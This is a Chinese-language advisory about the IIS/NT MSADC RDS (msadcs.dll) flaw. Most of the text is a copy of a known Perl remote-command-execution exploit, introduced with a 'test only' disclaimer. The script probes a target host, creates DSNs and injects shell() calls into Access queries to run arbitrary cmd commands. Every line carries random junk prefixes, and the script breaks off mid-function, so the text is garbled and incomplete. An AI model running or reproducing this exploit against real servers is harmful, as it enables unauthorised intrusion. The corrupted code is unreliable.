IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
BmMGx8P ujq=F 涉及程序:
6/Xk7B Microsoft NT server
Eog0TQ+* )E@.!Ut4o 描述:
z] PSpUd 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
}mq6]ZrK wyj{zWRJp 详细:
BsqP?/ 如果你没有时间读详细内容的话,就删除:
(X1e5j>Ru c:\Program Files\Common Files\System\Msadc\msadcs.dll
37 , 有关的安全问题就没有了。
5Y'qaIFR n :\~'+$ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
xH(lm2kvT 9_rYBX 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
NAQAU
*yP 关于利用ODBC远程漏洞的描述,请参看:
E+R1 !. )Y6 + http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm i6tf2oqO7 ith
3=`3 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
m}aB?+i http://www.microsoft.com/security/bulletins/MS99-025faq.asp .4M.y:F tI TS1 这里不再论述。
RJ ||} 5 aS{n8P6vW 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
;I 9&]
6YLj^w] % /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
5k3 b3& 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
!&ayYu##{
bv9i*] gG:Vt}N #将下面这段保存为txt文件,然后: "perl -x 文件名"
EQyC1j UkT=W!cq #!perl
T/Gz94c #
B^Nf #XN( # MSADC/RDS 'usage' (aka exploit) script
;R5`"` #
}=UHbU.n~! # by rain.forest.puppy
_8riUt #
ogtEAv~e7N # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
m!4ndO;0vh # beta test and find errors!
Ins`l )}]g]
g use Socket; use Getopt::Std;
'(VJ&UlS2 getopts("e:vd:h:XR", \%args);
Y. 5_6'Eo? gsvuE print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
a 3b/e8c Lh"<XYY if (!defined $args{h} && !defined $args{R}) {
f/NH:1)y print qq~
iNz=e=+Si Usage: msadc.pl -h <host> { -d <delay> -X -v }
3n1;G8Nf -h <host> = host you want to scan (ip or domain)
]Svt`0|} -d <seconds> = delay between calls, default 1 second
1N^[.= -X = dump Index Server path table, if available
\oXpi$ -v = verbose
+p_CN*10H -e = external dictionary file for step 5
pb?c$n$u* `PdQX.wN Or a -R will resume a command session
NP#w+Qw yAs>{6%- ~; exit;}
*{@Nq=fE u\x}8pn $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
='sHj4hU if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
*@r/5pM2} if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
69?wc! if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Un(aW=PQ0 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
vNY{j7l/W if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
ooL!TSGD bv9]\qC]T< if (!defined $args{R}){ $ret = &has_msadc;
g^2OkV( die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
.E1rqB G <#y[gTJ<'> print "Please type the NT commandline you want to run (cmd /c assumed):\n"
88gM?G _X . "cmd /c ";
gQelD6c $in=<STDIN>; chomp $in;
[0[i5'K: $command="cmd /c " . $in ;
D/B8tf+V eRstD>r if (defined $args{R}) {&load; exit;}
uk]$#TV*q> vnt%XU,,Y print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
]^n7
&try_btcustmr;
N1S{suic {G0T$,'DR print "\nStep 2: Trying to make our own DSN...";
Oo8VeRZ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
&yTqZ*Yuk p* (JjH print "\nStep 3: Trying known DSNs...";
Lpz>>} &known_dsn;
,GIyq) `?qF$g9u~ print "\nStep 4: Trying known .mdbs...";
n;Q7X>-f8` &known_mdb;
g i-$ZFzB
4*#18<u5 if (defined $args{e}){
H8zK$! print "\nStep 5: Trying dictionary of DSN names...";
V)-+Fd,= &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
m6K}|j '$IKtM`L print "Sorry Charley...maybe next time?\n";
_LUhZlw exit;
\0I_< ,RI Gc US ##############################################################################
Y>T-af49 8f4b&ah sub sendraw { # ripped and modded from whisker
4Zddw0|2 sleep($delay); # it's a DoS on the server! At least on mine...
LTCb@L{^i my ($pstr)=@_;
#s(BuVU socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
T_
<@..C die("Socket problems\n");
=sU<S,a* if(connect(S,pack "SnA4x8",2,80,$target)){
D~iz+{Q4 select(S); $|=1;
Uh4%}-; print $pstr; my @in=<S>;
!bx;Ta. select(STDOUT); close(S);
)Y0!~#
` return @in;
.x.]`b( } else { die("Can't connect...\n"); }}
")5":V~fN rgv?gaQ> ##############################################################################
,vawzq[oSy 0[#
3;a sub make_header { # make the HTTP request
a=1@*ID my $msadc=<<EOT
NC`aP0S POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
o]_dJB User-Agent: ACTIVEDATA
vjCu4+w($Z Host: $ip
aQc leTb Content-Length: $clen
$am$EU?s Connection: Keep-Alive
Xp% v.M "5!oi]@>( ADCClientVersion:01.06
uc\Kg1{ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
e@07 hJ? O],4J --!ADM!ROX!YOUR!WORLD!
OU.6bmWy| Content-Type: application/x-varg
JPUW6e07o Content-Length: $reqlen
,0Hr2*p A#<? 4& EOT
V>LwqS~` ; $msadc=~s/\n/\r\n/g;
.},'~NM] return $msadc;}
rJTa q5+4S5R*^ ##############################################################################
$dC?Tl|B0 EU;9*W< sub make_req { # make the RDS request
>dD@j:Qc my ($switch, $p1, $p2)=@_;
LEf^cM=> my $req=""; my $t1, $t2, $query, $dsn;
n\D&!y[]F vX"*4m>b?+ if ($switch==1){ # this is the btcustmr.mdb query
~<5!?6Yt $query="Select * from Customers where City=" . make_shell();
xn(kKB. $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
(OL4Ex' ] $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
MK~ 8}x 2K $6 9&O elsif ($switch==2){ # this is general make table query
.
iI $query="create table AZZ (B int, C varchar(10))";
XFpjYwn $dsn="$p1";}
{9pZ)tB c_pr elsif ($switch==3){ # this is general exploit table query
UHkMn $query="select * from AZZ where C=" . make_shell();
! E5HN :# $dsn="$p1";}
Vwf$JdK%&l 3M7/?TMw{6 elsif ($switch==4){ # attempt to hork file info from index server
Tv=mgH=b $query="select path from scope()";
uyWunpT $dsn="Provider=MSIDXS;";}
W,n!3:7s lNh70G8^p elsif ($switch==5){ # bad query
AKfDXy $query="select";
8MtGlW%Eh $dsn="$p1";}
"m8^zg hL @n /nH?L $t1= make_unicode($query);
~jk|4`I?T $t2= make_unicode($dsn);
$( kF# $req = "\x02\x00\x03\x00";
"|q&ea rc $req.= "\x08\x00" . pack ("S1", length($t1));
#q$HQ&k $req.= "\x00\x00" . $t1 ;
ZJJY8k ` $req.= "\x08\x00" . pack ("S1", length($t2));
O
_ gGf $req.= "\x00\x00" . $t2 ;
v{N`.~,^ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
pE0Sw}A:9 return $req;}
8/cX]J ;`{H!w[D ##############################################################################
'GWN~5 |aS.a&vwR sub make_shell { # this makes the shell() statement
b. '-?Nn return "'|shell(\"$command\")|'";}
P3=G1=47U MJO-q $)c ##############################################################################
ksUcx4;a@F -d/
=5yxL sub make_unicode { # quick little function to convert to unicode
d&Zpkbh" my ($in)=@_; my $out;
pYEMmZ?L for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Qd{CMmx return $out;}
;ef}}K lrE5^;/s1 ##############################################################################
? :%@vM ec;o\erPG sub rdo_success { # checks for RDO return success (this is kludge)
I$G['`XX/ my (@in) = @_; my $base=content_start(@in);
{dlXLx!B if($in[$base]=~/multipart\/mixed/){
^uc=f2=>, return 1 if( $in[$base+10]=~/^\x09\x00/ );}
{}n^cq return 0;}
iWkWR"ysy h,N?Ab'S ##############################################################################
i1d'nxk6 EME|k{W sub make_dsn { # this makes a DSN for us
;JT-kw6l5K my @drives=("c","d","e","f");
`$9x 1dx print "\nMaking DSN: ";
a58H9w"u) foreach $drive (@drives) {
fTec print "$drive: ";
9W5lSX#^; my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
;H*T^0 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
eo?bL$A[s . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
;igIZ$& $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
c)85=T6*aA return 0 if $2 eq "404"; # not found/doesn't exist
%wy.TN if($2 eq "200") {
h;"4+uw foreach $line (@results) {
?l{nk5,?-Y return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
C{rcs' } return 0;}
hi(;;C9 2F.;;Ab ##############################################################################
M7~2iU<# 9cF[seE"0 sub verify_exists {
^^$s%{ep" my ($page)=@_;
IEi^kJflU my @results=sendraw("GET $page HTTP/1.0\n\n");
U7F!Z(
9 return $results[0];}
90rol~M& =UQ3HQD ##############################################################################
\}b%E'+_T vvMT}-! sub try_btcustmr {
!Ai@$tl[S my @drives=("c","d","e","f");
[9L:),&u
my @dirs=("winnt","winnt35","winnt351","win","windows");
FW4<5~'
q]-r@yF foreach $dir (@dirs) {
b8UO,fY q print "$dir -> "; # fun status so you can see progress
#c!lS<z foreach $drive (@drives) {
Lk8ek}o' print "$drive: "; # ditto
$6 f3F?y7 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
1GcE)e!> $reqlenlen=length( "$reqlen" );
TD0
B% $clen= 206 + $reqlenlen + $reqlen;
/([kh~a ;)*eo_tQ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
%tGO?JMkd if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
^yp{32 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
N4!O.POP Ti5-6%~& ##############################################################################
6H$FhJF -Q*gW2KmV sub odbc_error {
O^
yG?b my (@in)=@_; my $base;
<]2w n my $base = content_start(@in);
q0vQa if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
4D4j7 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Y:[u1~a $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
u*`GiZAO $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8lrpve return $in[$base+4].$in[$base+5].$in[$base+6];}
#X1ND print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
<bWG!ZG print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
TvbE2Q;/UL $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
/J;Kn]5e TC*g|d @b ##############################################################################
f]CXu3w(J h:|qC`} sub verbose {
wmLs/:~ my ($in)=@_;
YS0<qSN return if !$verbose;
} q8ASYNc print STDOUT "\n$in\n";}
4tBYR9| H.MI5O (Q ##############################################################################
"chDg(jMZ Wne@<+mX sub save {
^1.By^
$ my ($p1, $p2, $p3, $p4)=@_;
S,he6zS open(OUT, ">rds.save") || print "Problem saving parameters...\n";
t{{QE:/ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
|CyE5i0 close OUT;}
5$k:t [4f{w%~^ ##############################################################################
j\M?~=*w ?=Kduef sub load {
L!xi my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Gd85kY@w7 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
gcT%c|. @p=<IN>; close(IN);
?Ir:g=RP* $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
ym1Y4, $target= inet_aton($ip) || die("inet_aton problems");
@q)d print "Resuming to $ip ...";
P&Vv/D $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
j8sH|{H!Nq if($p[1]==1) {
8":Q)9;% $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
O=7CMbS3 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
|sE'XT4ag my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
WpvhTX if (rdo_success(@results)){print "Success!\n";}
3JR+O<3D else { print "failed\n"; verbose(odbc_error(@results));}}
S
f#
R0SA elsif ($p[1]==3){
<a3WKw if(run_query("$p[3]")){
"w<#^d_6 print "Success!\n";} else { print "failed\n"; }}
R:qW;n%AF elsif ($p[1]==4){
ZN0P:== if(run_query($drvst . "$p[3]")){
~P-mC@C print "Success!\n"; } else { print "failed\n"; }}
w7L)'9 exit;}
4Z0]oIX v]UwJz3< ##############################################################################
-QNh ~k5W@`"W sub create_table {
JxU5 fe my ($in)=@_;
Q7CsJzk~) $reqlen=length( make_req(2,$in,"") ) - 28;
Q"#J6@ $reqlenlen=length( "$reqlen" );
}jPSUdo $clen= 206 + $reqlenlen + $reqlen;
X:{!n({r= my @results=sendraw(make_header() . make_req(2,$in,""));
A04U /; return 1 if rdo_success(@results);
q)
KKvO my $temp= odbc_error(@results); verbose($temp);
!&E-}}< return 1 if $temp=~/Table 'AZZ' already exists/;
W(p_.p"
return 0;}
Ow,b^| 8z\xrY ##############################################################################
j?QDR 0"z9Q\{} sub known_dsn {
,V}WM%Km # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
qH_Dc=~la my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
1$ {SRU7l "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
u*9V&>o "banner", "banners", "ads", "ADCDemo", "ADCTest");
rytyw77t( 1o>xEWt:0K foreach $dSn (@dsns) {
veECfR; print ".";
(/]
J3 next if (!is_access("DSN=$dSn"));
N'=gep0V@ if(create_table("DSN=$dSn")){
[Ch.cE_ print "$dSn successful\n";
7G],T++N if(run_query("DSN=$dSn")){
klhtKp_p print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
2Tppcj v print "Something's borked. Use verbose next time\n";}}} print "\n";}
[2cD:JL FpU>^'2] ##############################################################################
d #wVLmKZ q@2siI~W sub is_access {
pfI&E#:5 my ($in)=@_;
I%Z $reqlen=length( make_req(5,$in,"") ) - 28;
Dvln/SBk $reqlenlen=length( "$reqlen" );
e+K^Aq $clen= 206 + $reqlenlen + $reqlen;
BJ(M2|VH my @results=sendraw(make_header() . make_req(5,$in,""));
08{@rOr my $temp= odbc_error(@results);
Etm?' verbose($temp); return 1 if ($temp=~/Microsoft Access/);
w4Z'K&